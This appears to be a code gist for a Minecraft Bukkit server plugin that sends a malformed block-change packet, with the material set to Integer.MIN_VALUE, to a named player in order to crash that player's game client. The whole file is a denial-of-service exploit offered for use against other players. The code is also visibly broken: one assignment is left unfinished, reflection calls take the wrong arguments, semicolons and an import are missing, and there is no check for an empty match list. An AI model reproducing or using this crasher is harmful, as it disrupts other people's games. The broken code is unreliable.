Created
March 18, 2013 21:53
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Version - agnostic client crasher. As an added bonus, also under 50 lines!
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import java.util.ArrayList; | |
import org.bukkit.command.Command; | |
import org.bukkit.command.CommandSender; | |
import org.bukkit.entity.Player; | |
import org.bukkit.plugin.java.JavaPlugin; | |
public class Crasher extends JavaPlugin { | |
@Override | |
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) { | |
if (args.length >= 1) { | |
ArrayList<Player> possibleMatches = new ArrayList<Player>(); | |
for (Player p : getServer().getOnlinePlayers()) | |
if (p.getName().contains(args[0])) | |
possibleMatches.add(p); | |
if (possibleMatches.size() > 1) { | |
sender.sendMessage("I found more than one player with a similar name."); | |
return true; | |
} else { | |
Player p = possibleMatches.get(0); | |
String ver = // Parse CB version String for something like "v1_4_R1" | |
Class p53 = Class.forName("net.minecraft.server." + ver + ".Packet53BlockChange"); | |
Object packet = p53.getConstructor().newInstance(); | |
p53.getDeclaredField("a", int.class).set(packet, p.getLocation().getX()) | |
p53.getDeclaredField("b", int.class).set(packet, p.getLocation().getY()) | |
p53.getDeclaredField("c", int.class).set(packet, p.getLocation().getZ()) | |
p53.getDeclaredField("data", int.class).set(packet, 0); | |
p53.getDeclaredField("material", int.class).set(packet, Integer.MIN_VALUE); | |
p53.getDeclaredField("lowPriority", boolean.class).set(packet, false); | |
Object entityPlayer = Class.forName("org.bukkit.craftbukkit." + ver + ".entity.CraftPlayer").getDeclaredMethod("getHandle").invoke(p); | |
Object playerConnection = entityPlayer.getClass().getDeclaredField("playerConnection").get(entityPlayer); | |
playerConnection.getClass().getDeclaredMethod("sendPacket", Class.forName("net.minecraft.server." + ver + ".Packet")).invoke(playerConnection, packet); | |
return true; | |
} | |
} | |
sender.sendMessage(ChatColor.RED + "You must specify a player name!"); | |
return false; | |
} | |
} |
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